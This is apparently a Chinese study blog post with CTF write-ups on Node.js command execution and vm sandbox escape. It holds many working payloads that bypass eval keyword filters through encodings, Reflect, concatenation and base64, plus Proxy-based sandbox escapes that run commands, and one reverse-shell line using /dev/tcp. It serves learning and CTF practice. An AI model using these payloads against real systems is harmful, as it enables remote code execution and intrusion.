Node.js之沙盒专题


Node.js一直是薄弱项,今天特意整理一下,基本上是各个大佬写的大杂烩,仅用于学习记录~~~
在这里插入图片描述

1. child_process

首先介绍一下nodejs中用来执行系统命令的模块child_process。Nodejs通过使用child_process模块来生成多个子进程来处理其他事物。在child_process中有七个方法它们分别为:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而这些方法使用到的都是spawn()方法。因为fork是运行另外一个子进程文件,这里列一下除fork外其他函数的用法。

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
require("child_process").execFileSync('sleep', ['3']);

不同的函数其实底层具体就是调用spawn

2.模块利用----Eval

知道了模块使用可以执行命令,那怎么样触发模块呢?
构造这么一个服务端来使用复现

const express = require('express')
const bodyParser = require('body-parser')
const app = express()app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {code = req.body.code;console.log(code);res.send(eval(code));
})app.listen(3000)

难度一 原始模型

#传参
require("child_process").execSync("curl 127.0.0.1:1234")
#是能够正常执行的。

在这里插入图片描述
这是最为简便的,如果升级过滤exec呢

难度二 字符伪装

改为这样

const express = require('express')
const bodyParser = require('body-parser')
const app = express()function validcode(input) {var re = new RegExp("exec");return re.test(input);
}app.use(bodyParser.urlencoded({ extended: true }))
app.post('/', function (req, res) {code = req.body.code;console.log(code);if (validcode(code)) {res.send("forbidden!")} else {res.send(eval(code));}
})app.listen(3000)

当我再用原来的就会显示forbidden,这种该如何绕过?

方法一: 16进制编码

原因是在nodejs中,如果在字符串内用16进制,和这个16进制对应的ascii码的字符是等价的(第一反应有点像mysql)。

console.log("a"==="\x61");
// true

但是在上面正则匹配的时候,16进制却不会转化成字符,所以就可以绕过正则的校验。所以可以传

require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
经过本地测试发现只有在()或者[]以内的才能进行这样的字符绕过

方法二: unicode编码

思路跟上面是类似的,由于JavaScript允许直接用码点表示Unicode字符,写法是”反斜杠+u+码点”,所以我们也可以用一个字符的unicode形式来代替对应字符。

console.log("\u0061"==="a");
// true
require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
方法三 加号拼接

原理很简单,加号在js中可以用来连接字符,所以可以这样

require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')

加号必须url编码,否则无效

方法四 模板字符串(用的很多)

相关内容可以参考MDN,这里给出一个payload

模板字面量是允许嵌入表达式的字符串字面量。你可以使用多行字符串和字符串插值功能。

require('child_process')[`\${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
方法五 concat连接

利用js中的concat函数连接字符串

require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
方法六 base64编码

这种应该是比较常规的思路了。

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

这个的不同就是eval里面再套了eval进行先执行base解码

js内置语法绕过

前面的都是符号里面的字符进行过滤,如果现在要绕过的例如eval函数这种不被单双引号包含的参数怎么做?

Reflect

在js中,需要使用Reflect这个关键字来实现反射调用函数的方式。
在这里插入图片描述

譬如要得到eval函数,可以首先通过

console.log(Reflect.ownKeys(global))
//返回所有函数
console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))])
//拿到eval

即可得到eval
拿到eval之后,就可以常规思路rce了
这里貌似还有一个require的绕过代替

global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')

这里还有个小trick,如果过滤了eval关键字,可以用includes(‘eva’)来搜索eval函数,也可以用startswith(‘eva’)来搜索

Obejct.keys

实际上通过require导入的模块是一个Object,所以就可以用Object中的方法来操作获取内容。利用Object.values就可以拿到child_process中的各个函数方法,再通过数组下标就可以拿到execSync

console.log(require('child_process').constructor===Object)
//true
Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
[]绕过

获取到eval的方式是通过global数组,其中用到了中括号[],假如中括号被过滤,可以用Reflect.get来绕
Reflect.get(target, propertyKey[, receiver])的作用是获取对象身上某个属性的值,类似于target[name]。
所以取eval函数的方式可以变成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))

后面拼接上命令执行的payload即可。

例题:

如果waf是这样

var validCode = function (func_code){let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;return !validInput.test(func_code);
};

先写出原型,最好是用特定字符最少的base64编码
这里单引号可以用反引号代替

eval(Buffer.from(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())

特意去尝试了发现基本的都能这么代替。
这里过滤了base64,可以直接换成

`base`.concat(64)

过滤掉了Buffer,可以换成

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))

要拿到Buffer.from方法,可以通过下标

Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]

但问题在于,关键字还过滤了中括号,这一点简单,再加一层Reflect.get

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)

payload

Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()

但问题在于,这样传过去后,eval只会进行解码,而不是执行解码后的内容,所以需要再套一层eval,因为过滤了eval关键字,同样考虑用反射获取到eval函数。

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString())

当然,由于前面提到的16进制和字符串的特性,也可以拿到eval后直接传16进制字符串

Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)

3.沙盒逃逸

经过这些大概有了相对了解,但这只是Node.js的模块执行,关于沙盒逃逸到底是怎么回事。
比较清楚的沙盒概念

例题一

[0xGame 2023]week2 ez_sandbox

function waf(code) {let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']for (let v of blacklist) {if (code.includes(v)) {throw new Error(v + ' is banned')}}
}
app.post('/sandbox', requireLogin, function(req, res) {if (req.session.role === 'admin') {let code = req.body.codelet sandbox = Object.create(null)let context = vm.createContext(sandbox)try {waf(code)let result = vm.runInContext(code, context)res.send({'result': result})} catch (e) {res.send({'result': e.message})}} else {res.send({'result': 'Your role is not admin, so you can not run any code'})}
})

可以看出有一个原型污染role为admin进行。再看关键部分

let code = req.body.codelet sandbox = Object.create(null) //此时this为null,所以得利用arguments.callee.callerlet context = vm.createContext(sandbox)try {waf(code)let result = vm.runInContext(code, context)//沙盒运行res.send({'result': result})} catch (e) {res.send({'result': e.message})}

在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message
属性 (即 e.message)

通过 JavaScript 的 Proxy 类或对象的__defineGetter__方法来设置一个 getter
使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数
同时发现沙箱外没有执行字符串的相关操作,也没有可以用来进行恶意重写的函数,所以需要用Proxy来劫持属性

原payloadthrow new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数const c = arguments.callee.caller;const p = (c.constructor.constructor('return process'))();return p.mainModule.require('child_process').execSync('whoami').toString();}
})

关于c变量的构造
或者

let obj = {} // 针对该对象的 message 属性定义⼀个 getter, 当访问 obj.message 时会调⽤对应的函数
obj.__defineGetter__('message', function(){const c = arguments.callee.callerconst p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat/flag').toString();
})
throw obj

例题二:

[NKCTF]全世界最简单的CTF
源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))app.get('/', function (req, res){res.sendFile(__dirname + '/public/home.html');
})function waf(code) {let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;if(code.match(pattern)){throw new Error("what can I say? hacker out!!");}
}app.post('/', function (req, res){let code = req.body.code;let sandbox = Object.create(null);let context = vm.createContext(sandbox);try {waf(code)let result = vm.runInContext(code, context);console.log(result);} catch (e){console.log(e.message);require('./hack');}
})app.get('/secret', function (req, res){if(process.__filename == null) {let content = fs.readFileSync(__filename, "utf-8");return res.send(content);} else {let content = fs.readFileSync(process.__filename, "utf-8");return res.send(content);}
})app.listen(3000, ()=>{console.log("listen on 3000");
})

沙盒

  let code = req.body.code;let sandbox = Object.create(null);let context = vm.createContext(sandbox);try {waf(code)let result = vm.runInContext(code, context);console.log(result);} catch (e){console.log(e.message);require('./hack');}

常规思路:发现Object.create(null)
想到了cc用arguments.callee.caller
先写出原型

 throw new Proxy({}, { // Proxy 对象⽤于创建对某⼀对象的代理, 以实现属性和⽅法的拦截get: function(){  // 访问这个对象的任意⼀个属性都会执⾏ get 指向的函数const c = arguments.callee.caller;const p = (c.constructor.constructor('return process'))();return p.mainModule.require('child_process').execSync('whoami').toString();}
})

找到waf

   let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;

发现我们需要绕过
在这里插入图片描述

process绕过

方法一

return process==String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115)

方法二
发现他正则匹配没有i 对大小写不敏感 我们可以通过js里面的 toLowerCase()绕过

return process=='return Process'.toLowerCase();
exec绕过

上面介绍过用reflect映射方法绕过

Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))

这里a变量要定义先,a就是function,function又由外部作用域的proto来获得
所以

throw new Proxy({}, {get: function(){const cc = arguments.callee.caller; //外部作用域const p = (cc.constructor.constructor('return global'))(); //function函数const a = Reflect.get(p, Reflect.ownKeys(p).find(x=>x.includes('pro'))).mainModule.require(String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115));return Reflect.get(a, Reflect.ownKeys(a).find(x=>x.includes('ex')))("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");//因为没有[],用reflect来进行拼接}})

上面这种是根据过滤的强行绕过,比较复杂,还有另外的解
方法二
在这里插入图片描述
找到最简单的一种
方法三

throw new Proxy({}, {get: function(){const cc = arguments.callee.caller;const p = (cc.constructor.constructor('return procBess'.replace('B','')))();const obj = p.mainModule.require('child_procBess'.replace('B',''));const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));return ex.value('whoami').toString();}})

预期解
在这里插入图片描述
Node.js的绕过还是很多样,但实际运用复杂程度很高,大佬的绕过姿势太多了…
后面由例题会一一归纳(仅用于记录学习)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/769448.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

简化业务流程,AppLink连接一定签

APPlink是什么 APPlink是RestCloud打造的一款简单易用的零代码自动化集成平台,为业务流程提供自动化的解决方案,将企业内部的核心系统以及第三方应用程序和云服务等进行集成。无论是开发人员还是业务人员,都可以使用APPlink轻松构建出高效、…

【触想智能】工业触摸一体机九大常见故障检测方法分享

工业触摸一体机目前在社会生产中应用非常广泛,比如智能化的生产车间、城市智慧安防监控中心都经常用到工业触摸一体机。 电子产品在使用中难免会出现一些故障,工业触摸一体机也不例外。那么我们在使用工业触摸一体机的时遇到问题怎么办呢?下面小编给大家…

第十九章 linux部署scrapyd

文章目录 1. linux部署python环境1. 部署python源文件环境2. 下载python3. 解压安装包4. 安装5. 配置环境变量6. 检查是否安装成功7. 准备python使用的包8. 安装scrapyd9. 配置scrapyd10. 开放6800端口 2. 部署gerapy1. 本机下载包2. 初始化3. 进入gerapy同步数据库4. 创建用户…

nginx启停操作

一、nginx启动 方式一: /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf方式二: systemctl start nginx 查看进程启动状态 ps -ef | grep nginx 上图表示nginx进程启动成功,进程号为30034为主进程(负责链接操作)&am…

2024/3/24--爬虫库

1.常用的爬虫库 (1)在setting的project里面点击Python Interpreter (2)常用的爬虫库有 import requests //用途:用于发送HTTP请求。from bs4 import BeautifulSoup //用于从HTML或XML文档中提取数据。import scrapy //一个功能强大的爬虫框架&#xf…

基于 C++ STL 的图书管理系统213行

定制魏:QTWZPW,获取更多源码等 目录 一、实践项目名称 二、实践目的 三、实践要求 四、实践内容 五、代码框架参考 六、代码效果展示 七、完整代码主函数展示 一、实践项目名称 基于 C STL 的图书管理系统 二、实践目的 通过设计和实现一个基于…

AI之Suno:Suno V3的简介、安装和使用方法、案例应用之详细攻略

AI之Suno:Suno V3的简介、安装和使用方法、案例应用之详细攻略 目录 Suno AI的简介 1、特点与改进: Suno AI的安装和使用方法 1、第一步,让国产大模型—ChatGLM4帮我写一个提示词 2、第二步,将提示词交给Suno v3,…

优秀学员作品:SpringBoot茶叶商城系统源码+运行教程+开发文档(参考论文)

今天发布的是由【猿来入此】的优秀学员独立做的一个基于springboot脚手架的茶叶商城系统,主要实现了茶叶采购,出售茶叶的流程,除基础脚手架外,实现的功能有: 前台 : 首页、商品列表、新闻列表、个人中心、…

【算法】双指针的应用

文章目录 前言1. 移动零(easy)2. 复写零(easy)3. 快乐数(medium)4. 盛水最多的容器(medium)5. 有效三角形的个数(medium)6.和为 s 的两个数字(eas…

计算机网络:传输控制协议(Transmission Control Protocol-TCP协议

计算机网络:传输控制协议(Transmission Control Protocol-TCP协议) 本文目的前置知识点TCP协议简介主要特性通信流程1. 建立连接的过程(三次握手,243)1.1 为什么要三次握手,两次不行吗? 2. 释放连接的过程(…

msvcp110.dll丢失修复办法

在计算机使用过程中,我们经常会遇到一些扩展名为.dll的文件,这些文件是动态链接库文件,用于提供程序运行时所需的函数和资源。其中,msvcp110.dll文件是一个非常重要的动态链接库文件,它属于Microsoft Visual C 2012 Re…

Elastic 线下 Meetup 将于 2024 年 3 月 30 号在武汉举办

2024 Elastic Meetup 武汉站活动,由 Elastic、腾讯、新智锦绣联合举办,现诚邀广大技术爱好者及开发者参加。 活动时间 2024年3月30日 13:30-18:00 活动地点 中国武汉 武汉市江夏区腾讯大道1号腾讯武汉研发中心一楼多功能厅 13:30-14:00 入场 活动流程…

【C++从练气到飞升】06---重识类和对象

🎈个人主页:库库的里昂 ✨收录专栏:C从练气到飞升 🎉鸟欲高飞先振翅,人求上进先读书。 目录 ⛳️推荐 一、再谈构造函数 1. 构造函数体赋值 2. 初始化列表 每个成员变量在初始化列表中只能出现一次--初始化只能初始…

修复JeeSite vue 2.x视图滑动到顶部间距问题:Less文件修改实践

在前端开发中,样式调整是常见且必不可少的任务之一。最近,我在处理JeeSite项目时,遇到了一个视图滑动到顶部时顶部Tabs与页面顶部存在间距的问题。经过深入调查,发现这个问题可以通过修改相应的Less文件来解决。下面,我…

15、Spring Cloud Alibaba Sentinel实现熔断与限流

注:本篇文章主要参考周阳老师讲解的cloud进行整理的! 1、Sentinel 1.1、官网 https://sentinelguard.io/zh-cn/ 等价对标 Spring Cloud Circuit Breaker 1.2、是什么 https://github.com/alibaba/Sentinel/wiki 1.3、去哪下 https://github.com/alibab…

如何在Ubuntu系统使用Docker搭建MongoDB结合内网穿透实现公网连接

文章目录 前言1. 安装Docker2. 使用Docker拉取MongoDB镜像3. 创建并启动MongoDB容器4. 本地连接测试5. 公网远程访问本地MongoDB容器5.1 内网穿透工具安装5.2 创建远程连接公网地址5.3 使用固定TCP地址远程访问 前言 本文主要介绍如何在Linux Ubuntu系统使用Docker快速部署Mon…

头歌实训--机器学习(决策树)

第1关&#xff1a;决策树简述 第2关&#xff1a;决策树算法详解 import numpy as np from sklearn import datasets#######Begin####### # 划分函数 def split(x,y,d,value):index_a(x[:,d]<value)index_b(x[:,d]>value)return x[index_a],x[index_b],y[index_a],y[inde…

[linux]--关于进程概念(上)

目录 冯诺依曼体系结构 操作系统 概念 设计os的目的 定位 如何理解管理 总结 系统调用和库函数概念 进程 描述进程-pcb 组织进程 查看进程 通过系统调用获取进程标示符 通过系统调用创建进程-fork初识 进程状态 阻塞和挂起 Z(zombie)-僵尸进程 冯诺依曼体系结…

shell实现查询进程号并批量kill(脚本)

问题或需求描述 在shell中&#xff0c;如果你想通过命令行查询出一系列匹配某个关键词的进程&#xff0c;并使用xargs命令批量结束这些进程&#xff0c;可以按照以下步骤操作&#xff1a; # 查询并提取进程号 pgrep -f "关键词" | xargs kill# 或者&#xff0c;如果…

疫情居家办公OA系统设计与实现| Mysql+Java+ B/S结构(可运行源码+数据库+设计文档)

本项目包含可运行源码数据库LW&#xff0c;文末可获取本项目的所有资料。 推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 2024年56套包含java&#xff0c;…